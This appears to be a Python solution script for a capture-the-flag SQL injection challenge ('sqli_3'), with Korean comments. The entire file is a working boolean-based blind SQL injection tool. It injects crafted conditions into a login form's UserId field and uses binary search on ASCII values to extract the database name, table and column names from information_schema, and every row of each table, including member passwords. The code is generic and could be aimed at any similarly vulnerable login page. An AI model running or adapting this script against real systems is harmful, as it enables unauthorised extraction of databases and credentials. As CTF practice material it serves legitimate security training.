import requests
import time
URL = 'http://ctf.segfaulthub.com:7777/sqli_3/login.php'
baseData = {'UserId':'', 'Password': "1234", 'Submit': 'Login'}
def sendData(data):
baseData['UserId'] = data
response = requests.post(URL, data=baseData)
data = str(response.content)
return ("Incorrect information." in data)
def getLength(injectionStr1, injectionStr2):
count = 0
while(True):
if(not(sendData(injectionStr1 + str(count) + injectionStr2))):
break
count+=1
return count
def getDb(URL):
injectionStr1 = "normaltic' and (select length(database()) = "
injectionStr2 = " ) and '1'='1"
dbLeng = getLength(injectionStr1, injectionStr2)
db = ''
for i in range(1, dbLeng+1):
db += B_search_DataBase(i, 0, 127)
return db
def B_search_DataBase(i, min, max):
middle =( min + max ) //2
injectionStr = "normaltic' and (select ascii(substring(database(),"+ str(i) +",1)) = "+ str(middle) +") and '1'='1"
if(not(sendData(injectionStr))):
if ("\x00" == chr(middle)):
print(middle)
return chr(middle)
injectionStr = "normaltic' and (select ascii(substring(database(),"+ str(i) +",1)) > "+ str(middle) +") and '1'='1"
if(not(sendData(injectionStr))):
return B_search_DataBase(i, middle, max)
return B_search_DataBase(i, min, middle)
def B_search_TableName(i, min, max, tableIndex, database):
middle =( min + max ) //2
injectionStr = "normaltic' and (select ascii(substring(table_name,{index},1)) = {middle} from information_schema.tables where table_schema='{database}' limit {tableIndex},1) and '1'='1".format(index=str(i), middle=str(middle), database=database, tableIndex=str(tableIndex))
if(not(sendData(injectionStr))):
if ("\x00" == chr(middle)):
print(middle)
return chr(middle)
injectionStr = "normaltic' and (select ascii(substring(table_name,{index},1)) > {middle} from information_schema.tables where table_schema='{database}' limit {tableIndex},1) and '1'='1".format(index=str(i), middle=str(middle), database=database, tableIndex=str(tableIndex))
if(not(sendData(injectionStr))):
return B_search_TableName(i, middle, max, tableIndex, database)
return B_search_TableName(i, min, middle, tableIndex, database)
def B_search_colName(i, min, max, tableName, colIndex):
middle =( min + max ) //2
injectionStr = "normaltic' and (select ascii(substring(COLUMN_NAME,{index},1)) = {middle} from information_schema.COLUMNS where TABLE_NAME='{tableName}' limit {colIndex},1) and '1'='1".format(index=str(i), middle=str(middle), tableName=tableName, colIndex=str(colIndex))
if(not(sendData(injectionStr))):
if ("\x00" == chr(middle)):
print(middle)
return chr(middle)
injectionStr = "normaltic' and (select ascii(substring(COLUMN_NAME,{index},1)) > {middle} from information_schema.COLUMNS where TABLE_NAME='{tableName}' limit {colIndex},1) and '1'='1".format(index=str(i), middle=str(middle), tableName=tableName, colIndex=str(colIndex))
if(not(sendData(injectionStr))):
return B_search_colName(i, middle, max, tableName, colIndex)
return B_search_colName(i, min, middle, tableName, colIndex)
def B_search_colData(i, min, max, tableName, col, row):
middle =( min + max ) //2
injectionStr = "normaltic' and (select ascii(substring({col},{index},1)) = {middle} from {tableName} limit {row},1) and '1'='1".format(index=str(i), middle=str(middle), tableName=tableName, row=row, col=col)
if(not(sendData(injectionStr))):
if ("\x00" == chr(middle)):
print(middle)
return chr(middle)
injectionStr = "normaltic' and (select ascii(substring({col},{index},1)) > {middle} from {tableName} limit {row},1) and '1'='1".format(index=str(i), middle=str(middle), tableName=tableName, row=row, col=col)
if(not(sendData(injectionStr))):
return B_search_colData(i, middle, max, tableName, col, row)
return B_search_colData(i, min, middle, tableName, col, row)
def getTables(dbName):
tables = []
#총 테이블의 개수
injectionStr1 = "normaltic' and (select count(*) from information_schema.tables where table_schema='"+ str(dbName) +"') = "
injectionStr2 =" and '1'='1"
tableCount = getLength(injectionStr1, injectionStr2)
#테이블 수 만큼
for tableIndex in range(0, tableCount):
#테이블을 문자열길이 구하기
injectionStr1 = "normaltic' and (select length(table_name) from information_schema.tables where table_schema='"+ str(dbName) +"' limit "+str(tableIndex)+",1) ="
injectionStr2 = " and '1'='1"
tableLen = getLength(injectionStr1, injectionStr2)
tableName = ''
for j in range(1, tableLen+1):
tableName += B_search_TableName(j, 0, 127, tableIndex, dbName )
tables.append(tableName)
return tables
def getCol(tables):
cols = {}
for table in tables:
cols[table] = []
#컬럼의 개수 구하기
injectionStr1 = "normaltic' and (select count(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='"+ str(table) +"') = "
injectionStr2 =" and '1'='1"
colCount = getLength(injectionStr1, injectionStr2)
for colIndex in range(0, colCount):
#컬럼 길이 구하기
injectionStr1 = "normaltic' and (select length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='"+ str(table) +"' limit "+str(colIndex)+",1) ="
injectionStr2 = " and '1'='1"
colLen = getLength(injectionStr1, injectionStr2)
colName = ''
for i in range(1, colLen+1):
colName += B_search_colName(i, 0, 127, table, colIndex )
cols[table].append(colName)
return cols
def getTableData(table, cols):
# 데이터의 row 수 확인
injectionStr1 = "normaltic' and (select count(*) from {table} ) = ".format(table=table)
injectionStr2 =" and '1'='1"
rowCnt = getLength(injectionStr1, injectionStr2)
#row 수 만큼 도는 반복문
result = []
for row in range(0, rowCnt):
# 컬럼 수만큼 도는 반복문
rowData = {}
for col in cols:
#컬럼 데이터 길이 구하기
injectionStr1 = "normaltic' and (select length({col}) from {table} limit {row},1 ) = ".format(table=table, row=row, col=col)
injectionStr2 =" and '1'='1"
conDataLen = getLength(injectionStr1, injectionStr2)
colData = ''
for i in range(1, conDataLen+1):
colData += B_search_colData(i, 0, 127, table, col, row)
rowData[col] = colData
result.append(rowData)
return result
startTime = time.time()
print("progran start")
dbName = getDb(URL)
print("dbName is ={}".format(dbName))
tables = getTables(dbName)
print("tables: {tables}".format(tables=tables))
tableCols = getCol(tables)
print("tablesCols: {tableCols}".format(tableCols=tableCols))
# dbName = 'sqli_2'
# tables = ['flag_table', 'member']
# tableCols = {'flag_table': ['flag'], 'member': ['id', 'pass', 'name']}
print("extract Data start")
for table, cols in tableCols.items():
print("==================={table} table Data Start===============".format(table=table))
print(getTableData(table, cols))
print("==================={table} table Data End===============".format(table=table))
endTime = time.time()
print(f"{endTime - startTime:.5f} sec")